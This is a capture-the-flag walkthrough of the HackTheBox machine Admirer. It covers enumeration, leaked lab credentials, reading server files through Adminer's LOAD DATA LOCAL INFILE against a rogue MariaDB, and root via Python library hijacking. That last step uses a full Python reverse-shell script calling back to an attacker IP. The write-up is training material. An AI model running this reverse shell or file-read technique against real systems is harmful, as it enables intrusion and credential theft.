826c1493afa78679ff83dafffcebe67c.png

0. Preface

This box is pretty frustrating due to the amount of rabbit holes I got stuck in, but at least I learnt something new from this. Moral of the story - don’t always rely on one tool or wordlist.

In this box, we will be tackling:

  1. Getting stuck in rabbit holes.
  2. Exploiting Adminer
  3. Hijacking Python libraries

1. Preliminary NMAP Scan

sudo nmap -sC -sV -oN nmap.txt 10.10.10.187 -v

0c73a005283aa29f1468fde5c927a02c.png

Only ports 21, 22 and 80 are open. Let’s first check out the web server.

2. Web Server Enumeration #1

175f7c95a982b4f1650ff2212869918a.png

Seems like a gallery. Let’s see what we can enumerate from this.

249a5fc0ae0490bcbd17f0a5ea0f0898.png

Looking in the robots.txt file, we see that there is an entry to disallow robots from crawling /admin-dir/.

Trying to access the page gives us a 403, so let’s run gobuster on it. Notice from robots.txt that this folder contains “personal contacts and creds”. Let’s use gobuster on /admin-dir/, with the .txt extension to also look for text files.

65746ae59bba5d1fada1d39630489c4a.png

gobuster dir -u admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt

882d265f1964209d4246cea1f9cc93a2.png

And we found something. Let’s take a look at those files.

be612d26774ece30bcec54715e800f12.png

9413ba376e9d66c9a6ea7d4591887397.png

Seems like we got credentials to FTP, using ftpuser:%n?4Wz}R$tTF7.

3. FTP Enumeration

Logging into the FTP server, we see two files in there. Let’s download both of them.

0f6969d79428ec39a1d837dce6b97f30.png

(🐇) We don’t really get much using strings on dump.sql. Moving on to the html.tar.gz.

d5e4172b07020ae8470ed6b56929eed5.png

7z x html.tar.gz
7z x html.tar

773f9403f1050d43b12add9fa507aae3.png

Let’s do some more enumeration on the files inside. There’s tons to go through.

(kinda 🐇) Looking in index.php we get what looks like database credentials to a mysql database.

7afd94a452ac8d03fa3d349ce3f12e70.png

(🐇) Looking in /w4ld0s_s3cr3t_d1r/credentials.txt, we get another bunch of credentials. Looks similar to the credentials.txt we found on the server earlier.

5bcb45a8bbb945fe653374339cc69f41.png

(kinda 🐇) Looking in /utility-scripts/db_admin.php, we get more database credentials and a note that says to find a “better open source alternative”.

991a3a3f90a239d251a58c066162a46d.png

4. Web Server Enumeration #2

(🐇) Let’s next try to access the utility-scripts directory on the web server to see if it exists.

ff098b69634ee032366c4ab134b152b3.png

(🐇) Then, try to access info.php. We get phpinfo(). From here, we can see that the webserver is running Apache2, PHP 7.0.33.

e9067ed953282d1bf11a1782c439bf91.png

(🐇) Moving on to admin_tasks.php, we get something that allows us to run remote scripts on the server. (🐇🐇🐇🐇🐇🐇🐇🐇)

bb392372326e7c97b569ad2f7a63bda1.png

Stuck at this point, I even tried to SSH to the server using the ftpuser credentials we found earlier.

c02fd49c810393357cf9779b027ede6e.png

After a lot of hints from the HTB forums I found Adminer running on the server.

36cc0d6a5e0599c8b7ef8873714d2d0d.png

5. Exploiting Adminer

Googling for Adminer netted us an exploit. This allows us to read files on the server where Adminer is installed. Let’s set up the exploit.

We need a MariaDB/MySQL instance for this to work. Fortunately, MariaDB already comes preinstalled on Kali. Spin it up using systemctl start mariadb, then sudo mariadb or sudo mysql to access it.

Note: I had to reinstall MariaDB entirely because it wasn’t starting up at all.

78535cd339c9f2460f82a2d71470c812.png

Inside the database, create a new user that is allowed to login from anywhere and grant it privileges to access everything.

CREATE USER 'kali'@'%' IDENTIFIED BY '<PASSWORD>';
GRANT ALL PRIVILEGES ON * . * TO 'kali'@'%';
FLUSH PRIVILEGES;

Next, we need to allow external connections to our MariaDB instance. By default, MariaDB only listens on 127.0.0.1:3306.

Open /etc/mysql/mariadb.conf.d/50-server.cnf with a text editor, then change the bind-address value to 0.0.0.0.

03ba56ea447cca5e0e6d914c716766c3.png

Restart MariaDB using sudo systemctl restart mariadb, then check that server is listening on 0.0.0.0:3306 using netstat -antp | grep 3306

6282a4a00349263a0a11d05187791dde.png

Back to Adminer, login to Kali’s MariaDB server using the user created earlier.

4014a9e95c368789b7b30520a6183e85.png

b28979238c7997d1fc70e51cb79b256e.png

Next, create a new database.

5849876bccc0e3c541c2ad54c10f0029.png

Recall previously in the FTP directory that we found the index.php file with a MySQL username and password?

Let’s try to read the live version of that file.

First, we need to start a Wireshark session capturing on the HTB VPN tunnel.

Then back on Adminer, run the following commands to try to insert index.php into the database we created.

LOAD DATA LOCAL INFILE '/var/www/html/index.php'
INTO TABLE testdb.test
FIELDS TERMINATED BY "\n"

Once done, we see some traffic on WireShark from the remote server. We follow each TCP stream until we find the TCP stream for index.php.

906b463bfaf568f07273a14f9efa5b0b.png

We got our next set of credentials: waldo:&<h5b~yK3F#{PaPB&dA}{H>

Let’s SSH to the server and grab the user flag.

44b68d50812f929738f127c0c9ae2621.png

6. Python Library Hijacking and Root

Now, let’s start to enumerate. Running sudo -l, we see that waldo is able to set environment variables while running /opt/scripts/admin_tasks.sh as the root user.

e5241f7da501d64ed3836308fee65ae6.png

Looking at the admin_tasks.sh script, we see that it calls for a backup.py script in the same directory.

97964aa0fdf4f7a556aaa9ec36aa957a.png

Let’s take a closer look at backup.py.

2f60018b108eefde56fc07ba304ddf57.png

After a bit of searching, I managed to find this blog post explaining Python library hijacking, as well as this Medium article (specifically Scenario 3) explaining how to do it in more detail.

To exploit this, we need to create a script named shutil.py in a directory, and set the $PYTHONPATH environment variable to point to this directory instead of the real Python directory.

Our script will look like this:

#!/usr/bin/python3

import os
import pty
import socket

lhost = "10.10.14.43"
lport = 8888

def make_archive(a,b,c):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((lhost, lport))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        os.putenv("HISTFILE",'/dev/null')
        pty.spawn("/bin/bash")
        s.close()

To roughly break down how this works:

  1. backup.py will import a function called make_archive() from a python module named shutil.
  2. As the make_archive() in backup.py requires three arguments, our make_archive() will also need to have three (dummy) arguments.
  3. Once backup.py calls for the make_archive() function and is redirected here, a reverse shell will run connecting back to our Kali machine.

Do remember to replace the lhost and lport with the correct IP addresses/port number for the reverse shell.

Now, we can set the $PYTHONPATH environment variable to point to waldo’s home directory, and run admin_tasks.sh. Select option 6 to run the backup.py script.

sudo PYTHONPATH=/home/waldo/ /opt/scripts/admin_tasks.sh

93f3b2b2027bf67e810888389487404e.png

And we got root.